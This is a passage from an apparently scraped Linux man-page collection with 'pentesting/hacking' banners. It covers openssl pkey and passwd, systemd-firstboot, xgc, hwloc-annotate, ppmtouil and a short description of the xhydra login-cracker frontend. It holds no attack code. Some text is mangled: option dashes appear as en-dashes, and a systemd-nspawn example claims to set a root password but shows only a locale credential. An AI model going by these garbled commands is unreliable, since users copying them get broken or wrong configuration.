This option only applies to elliptic curve based public and private keys. This specifies how the elliptic curve parameters are encoded. Possible value are: named_curve, i.e. the ec parameters are specified by an OID, or explicit where the ec parameters are explicitly given (see RFC 3279 for the definition of the EC parameters structures). The default value is named_curve. Note the implicitlyCA alternative, as specified in RFC 3279, is currently not implemented in OpenSSL.

EXAMPLES

To remove the pass phrase on a private key:

openssl pkey -in key.pem -out keyout.pem

To encrypt a private key using triple DES:

openssl pkey -in key.pem -des3 -out keyout.pem

To convert a private key from PEM to DER format:

openssl pkey -in key.pem -outform DER -out keyout.der

To print out the components of a private key to standard output:

openssl pkey -in key.pem -text -noout

To print out the public components of a private key to standard output:

openssl pkey -in key.pem -text_pub -noout

To just output the public part of a private key:

openssl pkey -in key.pem -pubout -out pubkey.pem

To change the EC parameters encoding to explicit:

openssl pkey -in key.pem -ec_param_enc explicit -out keyout.pem

To change the EC point conversion form to compressed:

openssl pkey -in key.pem -ec_conv_form compressed -out keyout.pem

SEE ALSO

openssl (1), openssl-genpkey (1), openssl-rsa (1), openssl-pkcs8 (1), openssl-dsa (1), openssl-genrsa (1), openssl-gendsa (1)

HISTORY

The -engine option was deprecated in OpenSSL 3.0.

COPYRIGHT

Copyright 2006-2023 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1744 - Linux cli command systemd-firstboot.service

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command systemd-firstboot.service and provides detailed information about the command systemd-firstboot.service, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the systemd-firstboot.service.

NAME 🖥️ systemd-firstboot.service 🖥️

firstboot, systemd-firstboot.service - Initialize basic system settings on or before the first boot-up of a system

SYNOPSIS

systemd-firstboot [OPTIONS…]

systemd-firstboot.service

DESCRIPTION

The systemd-firstboot.service unit is one of the units which are used to initialize the machine configuration during “First Boot”, i.e. when the system is freshly installed or after a factory reset. The systemd(1) manager itself will initialize machine-id(5) and preset all units, enabling or disabling them according to the systemd.preset(5) settings. systemd-firstboot.service is started later to interactively initialize basic system configuration. It is started only if ConditionFirstBoot=yes is met, which essentially means that /etc/ is unpopulated, see systemd.unit(5) for details. System credentials may be used to inject configuration; those settings are not queried interactively.

The systemd-firstboot command can also be used to non-interactively initialize an offline system image.

The following settings may be configured:

·

The machine ID of the system

·

The system locale, more specifically the two locale variables LANG= and LC_MESSAGES

·

The system keyboard map

·

The system time zone

·

The system hostname

·

The kernel command line used when installing kernel images

·

The root users password and shell

Each of the fields may either be queried interactively by users, set non-interactively on the tools command line, or be copied from a host system that is used to set up the system image.

If a setting is already initialized, it will not be overwritten and the user will not be prompted for the setting.

Note that this tool operates directly on the file system and does not involve any running system services, unlike localectl(1), timedatectl(1) or hostnamectl(1). This allows systemd-firstboot to operate on mounted but not booted disk images and in early boot. It is not recommended to use systemd-firstboot on the running system after it has been set up.

OPTIONS

The following options are understood:

**–root=**root

Takes a directory path as an argument. All paths will be prefixed with the given alternate root path, including config search paths. This is useful to operate on a system image mounted to the specified directory instead of the host system itself.

Added in version 216.

**–image=**path

Takes a path to a disk image file or block device node. If specified all operations are applied to file system in the indicated disk image. This is similar to –root= but operates on file systems stored in disk images or block devices. The disk image should either contain just a file system or a set of file systems within a GPT partition table, following the Discoverable Partitions Specification[1]. For further information on supported disk images, see systemd-nspawn(1)s switch of the same name.

Added in version 246.

**–locale=**LOCALE, **–locale-messages=**LOCALE

Sets the system locale, more specifically the LANG= and LC_MESSAGES settings. The argument should be a valid locale identifier, such as “de_DE.UTF-8”. This controls the locale.conf(5) configuration file.

Added in version 216.

**–keymap=**KEYMAP

Sets the system keyboard layout. The argument should be a valid keyboard map, such as “de-latin1”. This controls the “KEYMAP” entry in the vconsole.conf(5) configuration file.

Added in version 236.

**–timezone=**TIMEZONE

Sets the system time zone. The argument should be a valid time zone identifier, such as “Europe/Berlin”. This controls the localtime(5) symlink.

Added in version 216.

**–hostname=**HOSTNAME

Sets the system hostname. The argument should be a hostname, compatible with DNS. This controls the hostname(5) configuration file.

Added in version 216.

–setup-machine-id

Initialize the systems machine ID to a random ID. This controls the machine-id(5) file.

This option only works in combination with –root= or –image=. On a running system, machine-id is written by the manager with help from systemd-machine-id-commit.service(8).

Added in version 216.

**–machine-id=**ID

Set the systems machine ID to the specified value. The same restrictions apply as to –setup-machine-id.

Added in version 216.

**–root-password=**PASSWORD, **–root-password-file=**PATH, **–root-password-hashed=**HASHED_PASSWORD

Sets the password of the systems root user. This creates/modifies the passwd(5) and shadow(5) files. This setting exists in three forms: –root-password= accepts the password to set directly on the command line, –root-password-file= reads it from a file and –root-password-hashed= accepts an already hashed password on the command line. See shadow(5) for more information on the format of the hashed password. Note that it is not recommended to specify plaintext passwords on the command line, as other users might be able to see them simply by invoking ps(1).

Added in version 216.

**–root-shell=**SHELL

Sets the shell of the systems root user. This creates/modifies the passwd(5) file.

Added in version 246.

**–kernel-command-line=**CMDLINE

Sets the systems kernel command line. This controls the /etc/kernel/cmdline file which is used by kernel-install(8).

Added in version 246.

–prompt-locale, –prompt-keymap, –prompt-timezone, –prompt-hostname, –prompt-root-password, –prompt-root-shell

Prompt the user interactively for a specific basic setting. Note that any explicit configuration settings specified on the command line take precedence, and the user is not prompted for it.

Added in version 216.

–prompt

Query the user for locale, keymap, timezone, hostname, roots password, and roots shell. This is equivalent to specifying –prompt-locale, –prompt-keymap, –prompt-timezone, –prompt-hostname, –prompt-root-password, –prompt-root-shell in combination.

Added in version 216.

–copy-locale, –copy-keymap, –copy-timezone, –copy-root-password, –copy-root-shell

Copy a specific basic setting from the host. This only works in combination with –root= or –image=.

Added in version 216.

–copy

Copy locale, keymap, time zone, root password and shell from the host. This is equivalent to specifying –copy-locale, –copy-keymap, –copy-timezone, –copy-root-password, –copy-root-shell in combination.

Added in version 216.

–force

Write configuration even if the relevant files already exist. Without this option, systemd-firstboot doesnt modify or replace existing files. Note that when configuring the root account, even with this option, systemd-firstboot only modifies the entry of the “root” user, leaving other entries in /etc/passwd and /etc/shadow intact.

Added in version 246.

–reset

If specified, all existing files that are configured by systemd-firstboot are removed. Note that the files are removed regardless of whether theyll be configured with a new value or not. This operation ensures that the next boot of the image will be considered a first boot, and systemd-firstboot will prompt again to configure each of the removed files.

Added in version 254.

–delete-root-password

Removes the password of the systems root user, enabling login as root without a password unless the root account is locked. Note that this is extremely insecure and hence this option should not be used lightly.

Added in version 246.

–welcome=

Takes a boolean argument. By default when prompting the user for configuration options a brief welcome text is shown before the first question is asked. Pass false to this option to turn off the welcome text.

Added in version 246.

-h, –help

Print a short help text and exit.

–version

Print a short version string and exit.

CREDENTIALS

systemd-firstboot supports the service credentials logic as implemented by ImportCredential=/LoadCredential=/SetCredential= (see systemd.exec(5) for details). The following credentials are used when passed in:

passwd.hashed-password.root, passwd.plaintext-password.root

A hashed or plaintext version of the root password to use, in place of prompting the user. These credentials are equivalent to the same ones defined for the systemd-sysusers.service(8) service.

Added in version 249.

passwd.shell.root

Specifies the shell binary to use for the specified account. Equivalent to the credential of the same name defined for the systemd-sysusers.service(8) service.

Added in version 249.

firstboot.locale, firstboot.locale-messages

These credentials specify the locale settings to set during first boot, in place of prompting the user.

Added in version 249.

firstboot.keymap

This credential specifies the keyboard setting to set during first boot, in place of prompting the user.

Note the relationship to the vconsole.keymap credential understood by systemd-vconsole-setup.service(8): both ultimately affect the same setting, but firstboot.keymap is written into /etc/vconsole.conf on first boot (if not already configured), and then read from there by systemd-vconsole-setup, while vconsole.keymap is read on every boot, and is not persisted to disk (but any configuration in vconsole.conf will take precedence if present).

Added in version 249.

firstboot.timezone

This credential specifies the system timezone setting to set during first boot, in place of prompting the user.

Added in version 249.

Note that by default the systemd-firstboot.service unit file is set up to inherit the listed credentials from the service manager. Thus, when invoking a container with an unpopulated /etc/ for the first time it is possible to configure the root users password to be “systemd” like this:

systemd-nspawn –image=… –set-credential=firstboot.locale:de_DE.UTF-8 …

Note that these credentials are only read and applied during the first boot. Once they are applied they remain applied for subsequent boots, and the credentials are not considered anymore.

EXIT STATUS

On success, 0 is returned, a non-zero failure code otherwise.

KERNEL COMMAND LINE

systemd.firstboot=

Takes a boolean argument, defaults to on. If off, systemd-firstboot.service wont interactively query the user for basic settings at first boot, even if those settings are not initialized yet.

Added in version 233.

SEE ALSO

systemd(1), locale.conf(5), vconsole.conf(5), localtime(5), hostname(5), machine-id(5), shadow(5), systemd-machine-id-setup(1), localectl(1), timedatectl(1), hostnamectl(1)

NOTES

Discoverable Partitions Specification

https://uapi-group.org/specifications/specs/discoverable_partitions_specification

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1745 - Linux cli command xgc

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xgc and provides detailed information about the command xgc, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xgc.

NAME 🖥️ xgc 🖥️

X graphics demo

SYNOPSIS

xgc [-toolkitoption …]

DESCRIPTION

The xgc program demonstrates various features of the X graphics primitives. In X, most of the details about the graphics to be generated are stored in a resource called a graphics context (GC). The xgc program provides a user interface for setting various GC components. Pressing the “Run” button causes these results to be displayed in the large drawing window on the right. Timing information is displayed in the window immediately below.

The items in the upper left hand window work as follows:

Function - specify the logical function with which primitives will drawn. The most usual setting is “set”, i.e. simply to render pixels without regard to what has been drawn before.

LineStyle - specify whether lines should be drawn solid in foreground, dashed in foreground or alternating foreground and background.

CapStyle - specify the appearance of the ends of a line.

JoinStyle - specify the appearance of joints between consecutive lines drawn within a single graphics primitive.

FillStyle - specify whether lines, text and fill requests are solid, tiled with a pixmap or stippled.

FillRule - specifies the rule used to fill polygons. The EvenOdd rule means that if areas overlap an odd number of times, they are not drawn. Winding rule means that overlapping areas are always filled, regardless of how many times they overlap.

ArcMode - specifies the rule for filling of arcs. The boundary of the arc is either a Chord or two radii.

planemask - specifies which planes of the drawing window are modified. By default, all planes are modified.

dashlist - specifies a pattern to be used when drawing dashed lines.

Line Width - specifies the width in pixels of lines to be drawn. Zero means to draw using the server’s fastest algorithm with a line width of one pixel.

Font - specifies the font to be used for text primitives.

Foreground and Background - specify the pixel values to be applied when drawing primitives. The Foreground value is used as the pixel value for set bits in the source in all primitives. The Background value is used as the pixel value for unset bits in the source when using Copy Plane, drawing lines with LineStyle of DoubleDash and filling with FillStyle of OpaqueStippled.

Percentage of Test - scrollbar permits specifying only a percentage of the test to be run. The number at the left indicates the current setting, which defaults to 100%.

The window labeled “Test” permits choice of one a number of graphics primitive tests, including Points, Segments, Lines, Arcs and Filled Arcs, 8-bit Text and Image Text, Rectangles and Filled Rectangles, Image draws, as well as Copy Plane and Copy Area.

The window to the right of this has buttons which permit record/playback of the primitives rendered.

OPTIONS

Xgc accepts all of the standard X Toolkit command line options.

X DEFAULTS

This program accepts the usual defaults for toolkit applications.

ENVIRONMENT

DISPLAY
to get the default host and display number.

XENVIRONMENT
to get the name of a resource file that overrides the global resources stored in the RESOURCE_MANAGER property.

SEE ALSO

X(7)

BUGS

This program isn’t really finished yet, but it probably never will be, since it only demonstrates the original X11 core protocol rendering operations, which few modern programs use anymore.

AUTHORS

Dan Schmidt, MIT

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1746 - Linux cli command xhydra

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xhydra and provides detailed information about the command xhydra, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xhydra.

NAME 🖥️ xhydra 🖥️

Gtk+2 frontend for thc-hydra

SYNOPSIS

Execute xhydra in a terminal to start the application.

DESCRIPTION

Hydra is a parallelized login cracker which supports numerous protocols to attack. New modules are easy to add, beside that, it is flexible and very fast.

xhydra is the graphical fronend for the hydra(1) tool.

SEE ALSO

hydra(1), pw-inspector(1).

AUTHOR

hydra was written by van Hauser <[email protected]>

This manual page was written by Daniel Echeverry <[email protected]>, for the Debian project (and may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1747 - Linux cli command hwloc-annotate

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hwloc-annotate and provides detailed information about the command hwloc-annotate, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hwloc-annotate.

NAME 🖥️ hwloc-annotate 🖥️

annotate - Modify attributes in a XML topology

SYNOPSIS

hwloc-annotate [options] <input.xml> <output.xml><location1> <location2> … – <mode> <annotation>

hwloc-annotate [options] <input.xml> <output.xml> <location> <mode> <annotation>

Note that hwloc(7) provides a detailed explanation of the hwloc system and of valid <location> formats; it should be read before reading this man page.

OPTIONS

–ri
Remove all info attributes that exist with the same name before adding the new one. This option is only accepted in “info” mode. If the info value is omitted, existing infos are replaced with nothing.

–ci
Clear the existing info attributes in the target objects before annotating. If no new annotation has to be added after clearing, mode should be set to none.

–cu
Clear the existing userdata from the target objects. If nothing else has to be performed after clearing, mode should be set to none.

–cd
Clear the existing distances from the topology. If nothing else has to be performed after clearing, mode should be set to none.

–version
Report version and exit.

-h –help
Display help message and exit.

DESCRIPTION

hwloc-annotate loads a topology from a XML file, adds some annotations, and export the resulting topology to another XML file. The input and output files may be the same.

The annotation may be string info attributes. This is specified by the mode:

info <name> <value>
Specifies a new string info attribute whose name is name and value is value.

subtype <subtype>
Specifies that the subtype attribute of the object should now be subtype. If an empty string is given, the subtype is removed.

size <size>
Specifies the size of a cache or NUMA node. The value may be suffixed with kB, KiB, MB, MiB, GB, GiB, etc.

misc <name>
Specifies a new Misc object name.

memattr <name> <flags>
Register a new memory attribute whose name is name and flags is flags. location is ignored in this mode.

Flags may be given as numeric values or as a comma-separated list of flag names that are passed to hwloc_memattr_register(). Those names may be substrings of actual flag names as long as a single one matches. For instance, a value of 1 (or higher) means that highest values are considered best for this attribute.

memattr <name> <initiator> <value>
Set the memory attribute (whose name is name) from initiator initiator (either an object or a CPU-set) to target NUMA node location to value value.

If this attribute does not require specific initiators, initiator is ignored.

Standard attribute names are Capacity, Locality, Bandwidth, and Latency. All existing attributes in the input topology may be listed with

$ lstopo –memattrs -i input.xml

cpukind <cpuset> <efficiency> <flags> [<infoname> <infovalue>]
Specifies the kind of CPU for PUs listed in the given cpuset. location is ignored in this mode.

efficiency is an abstracted efficiency value that will enforce ranking of kinds. It should be -1 if unknown.

flags must be 0 for now.

If infoname and infovalue are given and non-empty, they are added as info attributes to this kind of CPU.

See the function hwloc_cpukinds_register() for details.

distances <filename> [<flags>]
Specifies new distances to be added to the topology using specifications in <filename>. The optional flags (0 unless specified) corresponds to the flags given to the function hwloc_distances_set(). location is ignored in this mode.

The real first line of the pointed file must be a integer representing a distances kind as defined in hwloc/distances.h. The second line is the number of objects involved in the distances. The next lines contain one object each. The next lines contain one distance value each, or a single line may be given with a integer combination of format x*y or x*y*z. An optional line before all others may start with name= to specify the name of the distances structure if any.

distances-transform <name> links
Transform a bandwidth distances structure named <name> into links. See the documentation of HWLOC_DISTANCES_TRANSFORM_LINKS in hwloc/distances.h for details.

distances-transform <name> merge-switch-ports
When switches appear in the matrix as different ports, merge all of them into a single port for clarity. This currently only applies to the NVLinkBandwidth matrix between NVIDIA GPUs. See the documentation of HWLOC_DISTANCES_TRANSFORM_MERGE_SWITCH_PORTS in hwloc/distances.h for details.

distances-transform <name> transitive-closure
If objects are connected across a switch, apply a transitive-closure to report the bandwidth through that switch. This currently only applies to the NVLinkBandwidth matrix between NVIDIA GPUs. The bandwidth between all pairs of GPUs will be exposed instead of bandwidths between single GPUs and single NVSwitch ports. See the documentation of HWLOC_DISTANCES_TRANSFORM_TRANSITIVE_CLOSURE in hwloc/distances.h for details.

distances-transform <name> remove-obj <obj>
Remove the given object from the distances structure named <name>.

distances-transform <name> replace-objs <oldtype> <newtype>
Replace objects of type <oldtype> in distances structure named <name> with objects of type <newtype> with same locality. If <oldtype> or <newtype> are not object types, they are assumed subtypes of OS devices, e.g. “NVML” or “OpenCL”. See the documentation of hwloc_get_obj_with_same_locality() in hwloc/helper.h for details.

If <newtype> is “NULL”, objects are removed from the distances structure.

none
No new annotation is added. This is useful when clearing existing attributes.

Annotations may be added to one specific object in the topology, all of them, or all of a given type. This is specified by the location (see also EXAMPLES below). Multiple locations may be affected if they are specified between . Objects may be specified as location tuples, as explained in hwloc(7). However hexadecimal bitmasks are not accepted since they may correspond to multiple objects.

NOTE: The existing annotations may be listed with hwloc-info.

NOTE: It is highly recommended that you read the hwloc(7) overview page before reading this man page. Most of the concepts described in hwloc(7) directly apply to the hwloc-annotate utility.

EXAMPLES

hwloc-annotate’s operation is best described through several examples.

Add an info attribute to all Core and PU objects:

$ hwloc-annotate input.xml output.xml – Core:all PU:all – info infoname infovalue

Only add to all Core objects:

$ hwloc-annotate input.xml output.xml Core:all info infoname infovalue

Add a Misc object named “foobar” under the root object of the topology and modify the input XML directly:

$ hwloc-annotate file.xml file.xml root misc foobar

Add an info attribute to OS device #2 and #3:

$ hwloc-annotate input.xml output.xml os:2-3 info infoname infovalue

Change package objects to green with red text in the lstopo graphical output:

$ hwloc-annotate topo.xml topo.xml package:all info lstopoStyle “Background=#00ff00;Text=#ff0000” $ lstopo -i topo.xml

Set the memory attribute latency to 123 nanoseconds from the PUs in the first package to the first NUMA node:

$ hwloc-annotate topo.xml topo.xml numanode:0 memattr Latency $(hwloc-calc package:0) 123

Register a memory attribute MyApplicationPerformance (with flags specifying that it requires an initiator and reports higher values first) and set its value for initiator CPU-set 0x11 to NUMA node #2 to 2345:

$ hwloc-annotate topo.xml topo.xml ignored memattr MyApplicationPerformance need_init,higher $ hwloc-annotate topo.xml topo.xml numanode:2 memattr MyApplicationPerformance 0x11 2345

To clarify that NUMA node #0 is DDR while NUMA node #1 is HBM:

$ hwloc-annotate topo.xml topo.xml numa:0 subtype DDR $ hwloc-annotate topo.xml topo.xml numa:1 subtype HBM

Specify that PU 0-3 and PU 4-7 are of different kinds, and the latter is more efficient:

$ hwloc-annotate topo.xml topo.xml dummy cpukind 0x0f 0 0 CoreType Small $ hwloc-annotate topo.xml topo.xml dummy cpukind 0xf0 1 0 CoreType Big

Replace NUMA nodes with Packages in the NUMALatency distances matrix, when they have the exact same locality.

$ hwloc-annotate topo.xml topo.xml – dummy – distances-transform NUMALatency replace-objs numanode packages

Remove NUMA node #3 from the NUMALatency distances matrix:

$ hwloc-annotate topo.xml topo.xml – dummy – distances-transform NUMALatency remove-obj numa:3

Merge all NVSwitch ports bandwidth information into a single port in the NVLinkBandwidth matrix:

$ hwloc-annotate topo.xml topo.xml – dummy – distances-transform NVLinkBandwidth merge-switch-ports

Apply a transitive closure to get inter-GPU bandwidth across NVSwitches in the NVLinkBandwidth matrix:

$ hwloc-annotate topo.xml topo.xml – dummy – distances-transform NVLinkBandwidth transitive-closure

RETURN VALUE

Upon successful execution, hwloc-annotate generates the output topology. The return value is 0.

hwloc-annotate will return nonzero if any kind of error occurs, such as (but not limited to) failure to parse the command line.

SEE ALSO

hwloc(7), lstopo(1), hwloc-info(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1748 - Linux cli command openssl-passwdssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-passwdssl and provides detailed information about the command openssl-passwdssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-passwdssl.

NAME 🖥️ openssl-passwdssl 🖥️

passwd - compute password hashes

SYNOPSIS

openssl passwd [-help] [-1] [-apr1] [-aixmd5] [-5] [-6] [-salt string] [-in file] [-stdin] [-noverify] [-quiet] [-table] [-reverse] [-rand files] [-writerand file] [-provider name] [-provider-path path] [-propquery propq] [password]

DESCRIPTION

This command computes the hash of a password typed at run-time or the hash of each password in a list. The password list is taken from the named file for option -in, from stdin for option -stdin, or from the command line, or from the terminal otherwise.

OPTIONS

-help
Print out a usage message.

-1
Use the MD5 based BSD password algorithm 1 (default).

-apr1
Use the apr1 algorithm (Apache variant of the BSD algorithm).

-aixmd5
Use the AIX MD5 algorithm (AIX variant of the BSD algorithm).

-5

-6

Use the SHA256 / SHA512 based algorithms defined by Ulrich Drepper. See <https://www.akkadia.org/drepper/SHA-crypt.txt>.

-salt string
Use the specified salt. When reading a password from the terminal, this implies -noverify.

-in file
Read passwords from file.

-stdin
Read passwords from stdin.

-noverify
Don’t verify when reading a password from the terminal.

-quiet
Don’t output warnings when passwords given at the command line are truncated.

-table
In the output list, prepend the cleartext password and a TAB character to each password hash.

-reverse
When the -table option is used, reverse the order of cleartext and hash.

-rand files, -writerand file
See “Random State Options” in openssl (1) for details.

-provider name

-provider-path path

-propquery propq

See “Provider Options” in openssl (1), provider (7), and property (7).

EXAMPLES

% openssl passwd -1 -salt xxxxxxxx password $1$xxxxxxxx$UYCIxa628.9qXjpQCjM4a. % openssl passwd -apr1 -salt xxxxxxxx password $apr1$xxxxxxxx$dxHfLAsjHkDRmG83UXe8K0 % openssl passwd -aixmd5 -salt xxxxxxxx password xxxxxxxx$8Oaipk/GPKhC64w/YVeFD/

HISTORY

The -crypt option was removed in OpenSSL 3.0.

COPYRIGHT

Copyright 2000-2021 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1749 - Linux cli command ppmtouil

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmtouil and provides detailed information about the command ppmtouil, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmtouil.

.

NAME 🖥️ ppmtouil 🖥️

replaced by pamtouil

DESCRIPTION

This program is part of Netpbm(1) .

In May 2002, ppmtouil was extended and renamed to pamtouil(1) .

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmtouil.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1750 - Linux cli command uncompress

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command uncompress and provides detailed information about the command uncompress, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the uncompress.

NAME 🖥️ uncompress 🖥️

compress or expand files

SYNOPSIS

